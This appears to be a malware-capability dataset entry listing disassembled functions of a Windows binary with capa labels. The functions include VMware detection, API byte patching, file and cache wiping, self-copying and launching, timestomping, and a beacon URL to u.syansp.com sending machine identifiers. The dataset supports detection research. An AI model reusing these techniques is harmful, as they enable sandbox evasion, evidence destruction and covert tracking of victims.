joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404f1c
Capabilities:
Reference the vmware io port

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x418918
push 0x4153a0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 0x20], ecx
mov byte [ebp - 0x1c], 1
mov dword [ebp - 4], 0
push edx
push ecx
push ebx
mov eax, 0x564d5868
nop
mov ebx, 0
mov ecx, 0xa
mov edx, 0x5658
in eax, dx
nop
cmp ebx, 0x564d5868
sete byte [ebp - 0x1c]
pop ebx
pop ecx
pop edx
mov dword [ebp - 4], 0xffffffff
jmp 0x404f94
mov al, byte [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40baca
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 0
push str.DSound.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x40bb51
push str.DirectSoundCreate
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x40bb51
lea ecx, [ebp - 4]
push ecx
push 0x40
push 8
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 8
push 0x41ca7c
mov eax, dword [ebp - 8]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea ecx, [ebp - 0x10]
push ecx
mov edx, dword [ebp - 4]
push edx
push 8
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push str.Winmm.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x40bc0b
push str.midiStreamOpen
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x40bbba
lea edx, [ebp - 4]
push edx
push 0x40
push 8
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 8
push 0x41ca84
mov ecx, dword [ebp - 8]
push ecx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea edx, [ebp - 0x10]
push edx
mov eax, dword [ebp - 4]
push eax
push 8
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push str.waveOutWrite
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x40bc0b
lea eax, [ebp - 4]
push eax
push 0x40
push 8
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 8
push 0x41ca7c
mov edx, dword [ebp - 8]
push edx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp - 4]
push ecx
push 8
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x40c379
Capabilities:
Enumerate files on windows
Enumerate files recursively
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x416ad6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x158
lea ecx, [ebp - 0x18]
call sub.MFC42.DLL_CString::CString_3
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x15c]
call sub.MFC42.DLL_CString::CString_3
mov byte [ebp - 4], 1
mov dword [ebp - 0x14], 0
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x15c]
call sub.MFC42.DLL_CString::operator_1
push str..
lea ecx, [ebp - 0x15c]
call sub.MFC42.DLL_CString::operator
lea ecx, [ebp - 0x158]
push ecx
lea ecx, [ebp - 0x15c]
call fcn.00405080
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x40c430
mov dword [ebp - 0x160], 0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x15c]
call sub.MFC42.DLL_CString::CString
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x18]
call sub.MFC42.DLL_CString::CString
mov eax, dword [ebp - 0x160]
jmp 0x40c577
push 1
push 0x41cc14
lea edx, [ebp - 0x12c]
push edx
call sub.MSVCRT.dll_memcmp
add esp, 0xc
test eax, eax
je 0x40c464
push 1
push 0x41cc18
lea eax, [ebp - 0x12c]
push eax
call sub.MSVCRT.dll_memcmp
add esp, 0xc
test eax, eax
jne 0x40c469
jmp 0x40c526
mov ecx, dword [ebp + 0xc]
push ecx
lea ecx, [ebp - 0x18]
call sub.MFC42.DLL_CString::operator_1
push 0x41cc1c
lea ecx, [ebp - 0x18]
call sub.MFC42.DLL_CString::operator
lea edx, [ebp - 0x12c]
push edx
lea ecx, [ebp - 0x18]
call sub.MFC42.DLL_CString::operator
lea ecx, [ebp - 0x18]
call fcn.00405080
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
and eax, 1
test eax, eax
je 0x40c4c9
mov ecx, dword [ebp - 0x14]
and ecx, 0xfffffffe
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x14]
push edx
lea ecx, [ebp - 0x18]
call fcn.00405080
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov eax, dword [ebp - 0x158]
and eax, 0x10
test eax, eax
je 0x40c4fb
push 0
lea ecx, [ebp - 0x18]
call sub.MFC42.DLL_CString::GetBuffer
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.0040c379
lea ecx, [ebp - 0x18]
call fcn.00405080
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
jmp 0x40c526
push 9
push str.index.dat
lea edx, [ebp - 0x12c]
push edx
call sub.MSVCRT.dll_memcmp
add esp, 0xc
test eax, eax
jne 0x40c517
jmp 0x40c526
lea ecx, [ebp - 0x18]
call fcn.00405080
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x158]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40c430
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov dword [ebp - 0x164], 1
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x15c]
call sub.MFC42.DLL_CString::CString
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x18]
call sub.MFC42.DLL_CString::CString
mov eax, dword [ebp - 0x164]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 8
Function at 0x40c587
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x40c68b
push 0
push 0x84000000
push 0
push 0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x40c681
cmp dword [ebp + 0xc], 0
je 0x40c681
mov dword [ebp - 0x1c], 0x194
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 4
push 0
lea edx, [ebp - 0x14]
push edx
lea eax, [ebp - 0x1c]
push eax
push 0x20000013
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
jne 0x40c62f
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
jmp 0x40c68e
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x20], 0
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp + 0x10]
sub ecx, dword [ebp - 0x20]
push ecx
mov edx, dword [ebp + 0xc]
add edx, dword [ebp - 0x20]
push edx
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0x10]
mov dword [ebp - 0x20], ecx
cmp dword [ebp - 0x10], 0
je 0x40c670
mov edx, dword [ebp - 0x20]
cmp edx, dword [ebp + 0x10]
jb 0x40c63d
mov dword [ebp - 4], 1
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x40cdbb
Capabilities:
Copy file
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24c
push edi
push 0x44
push 0
lea eax, [ebp - 0x24c]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x24c], 0x44
mov dword [ebp - 0x244], 0x41ccb0
push 0x10
push 0
push 0x41d5a8
call sub.MSVCRT.dll_memset
add esp, 0xc
mov byte [ebp - 0x104], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x103]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x208], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x207]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x104
lea ecx, [ebp - 0x104]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [ebp - 0x104]
push edx
lea eax, [ebp - 0x208]
push eax
call sub.MSVCRT.dll_strcpy
add esp, 8
push 0x5c
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.MSVCRT.dll_strrchr]
add esp, 8
mov byte [eax], 0
push str.msfty.exe
lea edx, [ebp - 0x104]
push edx
call sub.MSVCRT.dll_strcat
add esp, 8
push 0
lea eax, [ebp - 0x104]
push eax
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x41d5a8
lea edx, [ebp - 0x24c]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
push 0x41ccc4
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x40cece
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x410969
Capabilities:
Delete internet cache
Enumerate internet cache
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x820
mov dword [ebp - 0x80c], 0
lea eax, [ebp - 0x808]
push eax
push 0
push 0
call dword [sym.imp.WININET.dll_FindFirstUrlCacheEntryA]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x808]
push ecx
call sub.MFC42.DLL_operatornew
add esp, 4
mov dword [ebp - 0x810], eax
mov edx, dword [ebp - 0x810]
mov dword [ebp - 0x80c], edx
lea eax, [ebp - 0x808]
push eax
mov ecx, dword [ebp - 0x80c]
push ecx
push 0
call dword [sym.imp.WININET.dll_FindFirstUrlCacheEntryA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x410a41
cmp dword [ebp - 0x80c], 0
je 0x4109f4
mov edx, dword [ebp - 0x80c]
mov dword [ebp - 0x814], edx
mov eax, dword [ebp - 0x814]
push eax
call sub.MFC42.DLL_operatordelete
add esp, 4
push 0
push 0x21
lea ecx, [ebp - 0x404]
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea edx, [ebp - 0x404]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.0040c379
push 0
push 0x20
lea ecx, [ebp - 0x404]
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea edx, [ebp - 0x404]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.0040c379
xor eax, eax
jmp 0x410b4c
mov ecx, dword [ebp - 0x80c]
mov edx, dword [ecx + 0xc]
and edx, 0x100000
test edx, edx
je 0x410a64
mov eax, dword [ebp - 0x80c]
mov ecx, dword [eax + 4]
push ecx
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
mov dword [ebp - 0x808], 0
lea edx, [ebp - 0x808]
push edx
push 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WININET.dll_FindNextUrlCacheEntryA]
mov ecx, dword [ebp - 0x80c]
mov dword [ebp - 0x818], ecx
mov edx, dword [ebp - 0x818]
push edx
call sub.MFC42.DLL_operatordelete
add esp, 4
mov eax, dword [ebp - 0x808]
push eax
call sub.MFC42.DLL_operatornew
add esp, 4
mov dword [ebp - 0x81c], eax
mov ecx, dword [ebp - 0x81c]
mov dword [ebp - 0x80c], ecx
lea edx, [ebp - 0x808]
push edx
mov eax, dword [ebp - 0x80c]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.WININET.dll_FindNextUrlCacheEntryA]
test eax, eax
jne 0x410a41
cmp dword [ebp - 0x80c], 0
je 0x410b01
mov edx, dword [ebp - 0x80c]
mov dword [ebp - 0x820], edx
mov eax, dword [ebp - 0x820]
push eax
call sub.MFC42.DLL_operatordelete
add esp, 4
push 0
push 0x21
lea ecx, [ebp - 0x404]
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea edx, [ebp - 0x404]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.0040c379
push 0
push 0x20
lea ecx, [ebp - 0x404]
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea edx, [ebp - 0x404]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.0040c379
mov eax, 1
mov esp, ebp
pop ebp
ret 8
Function at 0x412dab
Capabilities:
Create directory
Get common file path
Timestomp file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x33c
push edi
mov dword [ebp - 0x33c], ecx
mov dword [ebp - 4], 0
mov dword [ebp - 0x210], 0
mov al, byte [0x41d67c]
mov byte [ebp - 0x314], al
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x313]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x104
push 0
lea ecx, [ebp - 0x20c]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
lea edx, [ebp - 0x108]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea ecx, [ebp - 0x20c]
push ecx
lea edx, [ebp - 0x108]
push edx
call sub.MSVCRT.dll_strcpy
add esp, 8
lea eax, [ebp - 0x20c]
push eax
lea ecx, [ebp - 0x314]
push ecx
call sub.MSVCRT.dll_strcpy
add esp, 8
push 0x41d1bc
lea edx, [ebp - 0x20c]
push edx
call sub.MSVCRT.dll_strcat
add esp, 8
push 0x41d1c8
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_strcat
add esp, 8
push 0x41d1d0
lea ecx, [ebp - 0x314]
push ecx
call sub.MSVCRT.dll_strcat
add esp, 8
push 0
lea edx, [ebp - 0x314]
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x318], eax
cmp dword [ebp - 0x318], 0xffffffff
je 0x412f3d
mov dword [ebp - 0x338], 0
lea ecx, [ebp - 0x330]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
mov word [ebp - 0x330], 0x7bd
mov word [ebp - 0x32e], 0xa
mov word [ebp - 0x32a], 0x14
lea edx, [ebp - 0x320]
push edx
lea eax, [ebp - 0x330]
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
push 0
push 0
lea ecx, [ebp - 0x320]
push ecx
mov edx, dword [ebp - 0x318]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileTime]
mov dword [ebp - 0x334], eax
mov eax, dword [ebp - 0x318]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0x80
push 2
push 0
push 3
push 0xc0000000
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x318], eax
cmp dword [ebp - 0x318], 0xffffffff
je 0x412f95
push 0
lea edx, [ebp - 0x210]
push edx
push 2
push 0x41d1dc
mov eax, dword [ebp - 0x318]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp - 0x318]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x412f9a
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8d0
push edi
mov dword [ebp - 0x8d0], ecx
mov ecx, dword [ebp - 0x8d0]
call fcn.00413148
and eax, 0xff
test eax, eax
jne 0x412fc3
jmp 0x413143
mov ecx, dword [ebp - 0x8d0]
call fcn.00412dab
mov dword [ebp - 4], 0
mov byte [ebp - 0x888], 0
mov ecx, 7
xor eax, eax
lea edi, [ebp - 0x887]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x868], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x867]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x468], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x467]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x8cc], 0
mov ecx, 0xf
xor eax, eax
lea edi, [ebp - 0x8cb]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x88c], 0
mov byte [ebp - 0x68], 0
mov ecx, 0x18
xor eax, eax
lea edi, [ebp - 0x67]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x88c]
push eax
push 0
push 0
push 0x41d1e0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov ecx, dword [ebp - 0x88c]
push ecx
push str._02x
lea edx, [ebp - 0x68]
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
lea eax, [ebp - 0x888]
push eax
call fcn.00412bab
add esp, 4
lea ecx, [ebp - 0x888]
push ecx
lea edx, [ebp - 0x868]
push edx
call sub.MSVCRT.dll_strcpy
add esp, 8
lea eax, [ebp - 0x68]
push eax
lea ecx, [ebp - 0x868]
push ecx
call sub.MSVCRT.dll_strcat
add esp, 8
push 0x41d1ec
lea edx, [ebp - 0x868]
push edx
call sub.MSVCRT.dll_strcat
add esp, 8
lea eax, [ebp - 0x8cc]
push eax
lea ecx, [ebp - 0x868]
push ecx
call sub.MSVCRT.dll_strlen
add esp, 4
push eax
lea edx, [ebp - 0x868]
push edx
call fcn.004155b4
add esp, 0xc
lea eax, [ebp - 0x8cc]
push eax
push 0x41d1f0
lea ecx, [ebp - 0x68]
push ecx
lea edx, [ebp - 0x888]
push edx
push 0x41d5c4
push str.http:__u.syansp.com_t.php_fid_smac_smid_sservertype_smd5_s
lea eax, [ebp - 0x468]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x1c
push 0
push 0
lea ecx, [ebp - 0x468]
push ecx
call fcn.0040c587
add esp, 0xc
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x413148
Capabilities:
Create directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c0
push edi
mov dword [ebp - 0x3c0], ecx
mov dword [ebp - 0xc], 1
mov al, byte [0x41d680]
mov byte [ebp - 0x3b0], al
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x3af]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x104
push 0
lea ecx, [ebp - 0x2ac]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
lea edx, [ebp - 0x1a8]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
lea eax, [ebp - 0x2ac]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea ecx, [ebp - 0x2ac]
push ecx
lea edx, [ebp - 0x1a8]
push edx
call sub.MSVCRT.dll_strcpy
add esp, 8
lea eax, [ebp - 0x2ac]
push eax
lea ecx, [ebp - 0x3b0]
push ecx
call sub.MSVCRT.dll_strcpy
add esp, 8
push str._system.ini
lea edx, [ebp - 0x2ac]
push edx
call sub.MSVCRT.dll_strcat
add esp, 8
push str._ff.e
lea eax, [ebp - 0x1a8]
push eax
call sub.MSVCRT.dll_strcat
add esp, 8
push str._ac_.._
lea ecx, [ebp - 0x3b0]
push ecx
call sub.MSVCRT.dll_strcat
add esp, 8
push closesocket
lea edx, [ebp - 0xa4]
push edx
lea eax, [ebp - 0x2ac]
push eax
call dword [sym.imp.KERNEL32.dll_OpenFile]
mov dword [ebp - 0x3b4], eax
cmp dword [ebp - 0x3b4], 0xffffffff
je 0x4132ad
push 0
push 0
lea ecx, [ebp - 8]
push ecx
mov edx, dword [ebp - 0x3b4]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileTime]
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
mov edx, dword [ebp - 0x1c]
and edx, 0xffff
cmp edx, 0x7bd
jne 0x4132a0
mov eax, dword [ebp - 0x16]
and eax, 0xffff
cmp eax, 0x14
jne 0x4132a0
mov ecx, dword [ebp - 0x1a]
and ecx, 0xffff
cmp ecx, 0xa
jne 0x4132a0
mov dword [ebp - 0xc], 0
mov edx, dword [ebp - 0x3b4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0xc], 0
je 0x4132f0
push 0
lea eax, [ebp - 0x3b0]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov dword [ebp - 0x3b8], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x3bc], eax
cmp dword [ebp - 0x3b8], 0
je 0x4132e9
cmp dword [ebp - 0x3bc], 0xb7
jne 0x4132f0
mov dword [ebp - 0xc], 0
cmp dword [ebp - 0xc], 0
je 0x413332
push closesocket
lea ecx, [ebp - 0xa4]
push ecx
lea edx, [ebp - 0x1a8]
push edx
call dword [sym.imp.KERNEL32.dll_OpenFile]
mov dword [ebp - 0x3b4], eax
cmp dword [ebp - 0x3b4], 0xffffffff
je 0x413332
mov eax, dword [ebp - 0x3b4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0xc], 0
xor eax, eax
cmp dword [ebp - 0xc], 0
setne al
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x4139b7
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0x10], ecx
mov byte [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 4], 0
cmp dword [ebp - 4], 0
jne 0x413a51
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 0x10]
jge 0x413a51
push 0
push 1
lea ecx, [ebp - 8]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.WS2_32.dll_recv]
mov eax, dword [ebp + 0xc]
add eax, dword [ebp - 0xc]
mov cl, byte [ebp - 8]
mov byte [eax], cl
mov edx, dword [ebp - 0xc]
add edx, 1
mov dword [ebp - 0xc], edx
cmp dword [ebp - 0xc], 4
jl 0x413a4f
mov eax, dword [ebp + 0xc]
add eax, dword [ebp - 0xc]
movsx ecx, byte [eax - 4]
cmp ecx, 0xd
jne 0x413a4f
mov edx, dword [ebp + 0xc]
add edx, dword [ebp - 0xc]
movsx eax, byte [edx - 3]
cmp eax, 0xa
jne 0x413a4f
mov ecx, dword [ebp + 0xc]
add ecx, dword [ebp - 0xc]
movsx edx, byte [ecx - 2]
cmp edx, 0xd
jne 0x413a4f
mov eax, dword [ebp + 0xc]
add eax, dword [ebp - 0xc]
movsx ecx, byte [eax - 1]
cmp ecx, 0xa
jne 0x413a4f
mov dword [ebp - 4], 1
jmp 0x4139d2
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 0xc

Function at 0x413a5a
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0
push 4
mov eax, dword [ebp + 0xc]
push eax
push 0x1006
push 0xffff
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_setsockopt]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x413a91
xor al, al
jmp 0x413a93
mov al, 1
mov esp, ebp
pop ebp
ret 8
Function at 0x413b5d
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
push edi
mov dword [ebp - 0x41c], ecx
mov dword [ebp - 0x40c], 0
mov dword [ebp - 0x404], 0
mov byte [ebp - 0x400], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x3ff]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x408], 0
cmp dword [ebp + 0x10], 0
je 0x413c1b
mov dword [ebp - 0x410], 0
push 0x41d358
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 8
mov dword [ebp - 0x410], eax
cmp dword [ebp - 0x410], 0
jne 0x413bdd
or eax, 0xffffffff
jmp 0x413d08
push 2
push 0
lea ecx, [ebp - 0x414]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov edx, dword [ebp - 0x410]
push edx
push 0
push 0
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x10
mov ecx, dword [ebp - 0x410]
push ecx
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov edx, dword [ebp - 0x40c]
cmp edx, dword [ebp + 0xc]
jge 0x413d02
push 0x400
push 0
lea eax, [ebp - 0x400]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
push 0x3ff
lea ecx, [ebp - 0x400]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 0x404], eax
cmp dword [ebp - 0x404], 0xffffffff
jne 0x413c69
jmp 0x413c1b
cmp dword [ebp + 0x10], 0
jne 0x413c71
jmp 0x413ceb
push 0x41d35c
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 8
mov dword [ebp - 0x408], eax
cmp dword [ebp - 0x408], 0
jne 0x413c97
or eax, 0xffffffff
jmp 0x413d08
mov ecx, dword [ebp - 0x408]
push ecx
push 1
mov edx, dword [ebp - 0x404]
push edx
lea eax, [ebp - 0x400]
push eax
call dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x10
mov dword [ebp - 0x418], eax
cmp dword [ebp - 0x418], 1
je 0x413cdb
mov ecx, dword [ebp - 0x408]
push ecx
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
or eax, 0xffffffff
jmp 0x413d08
mov edx, dword [ebp - 0x408]
push edx
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov eax, dword [ebp - 0x40c]
add eax, dword [ebp - 0x404]
mov dword [ebp - 0x40c], eax
jmp 0x413c1b
mov eax, dword [ebp - 0x40c]
pop edi
mov esp, ebp
pop ebp
ret 0xc

Function at 0x415f23
Capabilities:
Hash data with md5

Disassembly:
push esi
mov esi, ecx
push 0x40
push 0
lea eax, [esi + 4]
mov dword [esi], 0x419390
push eax
call sub.MSVCRT.dll_memset
and dword [esi + 0x48], 0
and dword [esi + 0x44], 0
add esp, 0xc
mov dword [esi + 0x4c], 0x67452301
mov dword [esi + 0x50], 0xefcdab89
mov dword [esi + 0x54], 0x98badcfe
mov dword [esi + 0x58], 0x10325476
mov eax, esi
pop esi
ret